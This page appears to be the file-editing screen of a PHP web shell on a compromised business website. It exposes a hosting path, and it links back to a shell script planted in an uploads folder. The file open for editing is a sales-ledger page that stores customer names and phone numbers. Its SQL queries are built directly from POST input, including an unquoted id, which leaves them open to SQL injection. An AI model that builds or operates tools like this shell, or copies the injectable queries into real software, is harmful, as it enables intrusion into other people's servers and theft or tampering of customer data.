<h2>Edit File - material_sale_list.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u337112447/domains/shishpainfoway.com/public_html/interlock/material_sale_list.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include 'header.php';
?&gt;
&lt;div class=&quot;content&quot;&gt;
	&lt;div class=&quot;page-header&quot;&gt;
		&lt;ol class=&quot;breadcrumb&quot;&gt;
			&lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Dashboard&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;active&quot;&gt;Material Sale List&lt;/li&gt;
		&lt;/ol&gt;
	&lt;/div&gt;
	&lt;div class=&quot;container-padding container-widget&quot;&gt;
		&lt;div class=&quot;row&quot;&gt;
			&lt;div class=&quot;col-md-12&quot;&gt;
				&lt;?php
				if (isset($_POST[&quot;updatess&quot;])) {
					$bill = $_POST['id'];
					$oprice = $_POST['price'];
					$rec = $_POST['rec'];

					$new_rec = $oprice + $rec;
					$new_bal = $oprice - $oprice;

					$sqll = &quot;UPDATE tbl_material_sale SET ptype='2', rec='$new_rec', bal='$new_bal' WHERE id=$bill&quot;;
					$result = mysqli_query($link, $sqll);
					$income2 = mysqli_query($link, &quot;insert into tbl_cash_income (date,amount,disc) values('$today','$oprice','Material Sale Old Payment Received')&quot;);
					if (mysqli_affected_rows($link)) {
				?&gt;
						&lt;div class=&quot;alert alert-success bg-success text-white&quot; role=&quot;alert&quot;&gt;Received successfully.&lt;/div&gt;
					&lt;?php
						header('Location: ' . $_SERVER['PHP_SELF']);
					} else {
					?&gt;
						&lt;div class=&quot;alert alert-danger bg-danger text-white mb-0&quot; role=&quot;alert&quot;&gt;try again.&lt;/div&gt;
				&lt;?php
					}
				}
				?&gt;
				&lt;div class=&quot;panel panel-default&quot;&gt;
					&lt;div class=&quot;panel-title&quot;&gt;
						Recently Material Sale List
					&lt;/div&gt;
					&lt;div class=&quot;panel-body table-responsive&quot;&gt;
						&lt;table id=&quot;example0&quot; class=&quot;table display&quot;&gt;
							&lt;thead&gt;
								&lt;tr&gt;
									&lt;th&gt;Sr.&lt;/th&gt;
									&lt;th&gt;Date&lt;/th&gt;
									&lt;th&gt;Mat Details&lt;/th&gt;
									&lt;th&gt;Customer Details&lt;/th&gt;
									&lt;th&gt;Price&lt;/th&gt;
									&lt;th&gt;REC&lt;/th&gt;
									&lt;th&gt;BAL&lt;/th&gt;
									&lt;th&gt;Action&lt;/th&gt;
								&lt;/tr&gt;
							&lt;/thead&gt;
							&lt;tbody&gt;
								&lt;?php
								$result = mysqli_query($link, &quot;select * from tbl_material_sale order by id desc limit 30&quot;);
								$i = 0;
								while ($row = mysqli_fetch_array($result)) {
									$i++;
								?&gt;
									&lt;tr&gt;
										&lt;td&gt;&lt;?php echo $i; ?&gt;&lt;/td&gt;
										&lt;td&gt;
											&lt;?php
											$orgDate = $row['date'];
											$newDate = date(&quot;d-M-Y&quot;, strtotime($orgDate));
											echo $newDate;
											?&gt;
										&lt;/td&gt;
										&lt;td&gt;
											&lt;?php
											$int_id = $row['id'];
											$result_items = mysqli_query($link, &quot;select * from tbl_mat_sale_items where msale_id='$int_id'&quot;);
											while ($item = mysqli_fetch_array($result_items)) {
												$tileid = $item['mat_type'];
												$sel = mysqli_query($link, &quot;SELECT * FROM tbl_material_type WHERE id='$tileid'&quot;);
												$pdf = mysqli_fetch_array($sel);
												$ssname = $pdf['mtype'];
											?&gt;
												&lt;?= 'Type: ' . $ssname.'&lt;br&gt;'; ?&gt;
												&lt;?= 'QTY: ' . $item['qty'].'&lt;br&gt;'; ?&gt;
												&lt;?= 'Rate: ' . $item['rate']; ?&gt;
											&lt;?php
											}
											?&gt;
										&lt;/td&gt;
										&lt;td&gt;
											&lt;?php
											echo &quot;Name: &quot; . $row['name'] . &quot;&lt;br&gt;&quot;;
											echo &quot;Phone: &quot; . $row['phone'];
											?&gt;
										&lt;/td&gt;
										&lt;td&gt;
											&lt;?php
											if ($row['bill_gst'] == &quot;1&quot;) {
												echo $row['amt_with_gst'];
											} else {
												echo $row['ttlamt'];
											}
											?&gt;
										&lt;/td&gt;
										&lt;td&gt;&lt;?php echo $row['rec']; ?&gt;&lt;/td&gt;
										&lt;td&gt;&lt;?php echo $row['bal']; ?&gt;&lt;/td&gt;
										&lt;td&gt;
											&lt;a href=&quot;view_mat.php?id=&lt;?= $row['id']; ?&gt;&quot; class=&quot;btn btn-icon btn-xs btn-success mr-1&quot;&gt;
												View Details
											&lt;/a&gt;
											&lt;?php
											if ($row['ptype'] == &quot;2&quot;) {
											?&gt;
												&lt;a class=&quot;btn btn-icon btn-xs btn-success mr-1&quot;&gt;
													Paid
												&lt;/a&gt;
											&lt;?php
											} else {
											?&gt;

												&lt;a data-toggle=&quot;modal&quot; data-target=&quot;#update&lt;?= $row['id']; ?&gt;&quot; class=&quot;btn btn-icon btn-xs btn-warning mr-1&quot;&gt;
													Unpaid
												&lt;/a&gt;
											&lt;?php
											}
											?&gt;
											&lt;div class=&quot;modal fade modalbox&quot; id=&quot;update&lt;?= $row['id']; ?&gt;&quot; tabindex=&quot;-1&quot; role=&quot;dialog&quot;&gt;
												&lt;div class=&quot;modal-dialog&quot;&gt;
													&lt;div class=&quot;modal-content&quot;&gt;
														&lt;div class=&quot;modal-header&quot;&gt;
															&lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&gt;&amp;times;&lt;/button&gt;
															&lt;h4 class=&quot;modal-title&quot;&gt;&lt;b&gt;Price &lt;?php echo $row['bal']; ?&gt;&lt;/b&gt;&lt;/h4&gt;
														&lt;/div&gt;
														&lt;div class=&quot;modal-body&quot;&gt;
															&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
																&lt;input type=&quot;hidden&quot; value=&quot;&lt;?php echo $row['id']; ?&gt;&quot; name=&quot;id&quot;&gt;
																&lt;input type=&quot;hidden&quot; value=&quot;&lt;?php echo $row['bal']; ?&gt;&quot; name=&quot;price&quot;&gt;
																&lt;input type=&quot;hidden&quot; value=&quot;&lt;?php echo $row['rec']; ?&gt;&quot; name=&quot;rec&quot;&gt;
																&lt;div class=&quot;row&quot;&gt;
																	&lt;div class=&quot;col-md-12 col-xs-12&quot;&gt;
																		&lt;input type=&quot;submit&quot; class=&quot;btn btn-success&quot; name=&quot;updatess&quot; value=&quot;Recieved&quot;&gt;
																		&lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot; data-dismiss=&quot;modal&quot;&gt;Close&lt;/button&gt;
																	&lt;/div&gt;
																&lt;/div&gt;
															&lt;/form&gt;
														&lt;/div&gt;
													&lt;/div&gt;
												&lt;/div&gt;
											&lt;/div&gt;
										&lt;/td&gt;
									&lt;/tr&gt;
								&lt;?php
								}
								?&gt;
							&lt;/tbody&gt;
							&lt;tfoot&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;Total:&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
								&lt;td&gt;&lt;/td&gt;
							&lt;/tfoot&gt;
						&lt;/table&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/div&gt;
	&lt;/div&gt;
	&lt;?php
	include 'footer.php';
	?&gt;
	&lt;script src=&quot;https://code.jquery.com/jquery-3.5.1.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js&quot;&gt;&lt;/script&gt;
	&lt;script&gt;
		$(document).ready(function() {
			// DataTable initialisation
			$('#example0').DataTable({
				dom: 'Bfrtip',
				buttons: [
					'copy', 'csv', 'excel', 'pdf', 'print'
				],
				&quot;paging&quot;: false,
				&quot;autoWidth&quot;: true,
				&quot;footerCallback&quot;: function(row, data, start, end, display) {
					var api = this.api();
					nb_cols = api.columns().nodes().length;
					var j = 4;
					while (j &lt; nb_cols) {
						var pageTotal = api
							.column(j, {
								page: 'current'
							})
							.data()
							.reduce(function(a, b) {
								return Number(a) + Number(b);
							}, 0);
						// Update footer
						$(api.column(j).footer()).html(pageTotal);
						j++;
					}
				}
			});
		});
	&lt;/script&gt;


	&lt;script src=&quot;https://cdn.datatables.net/buttons/1.6.2/js/dataTables.buttons.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdn.datatables.net/buttons/1.6.2/js/buttons.flash.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdn.datatables.net/buttons/1.6.2/js/buttons.html5.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;https://cdn.datatables.net/buttons/1.6.2/js/buttons.print.min.js&quot;&gt;&lt;/script&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/Admin/uploads/72005193231754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>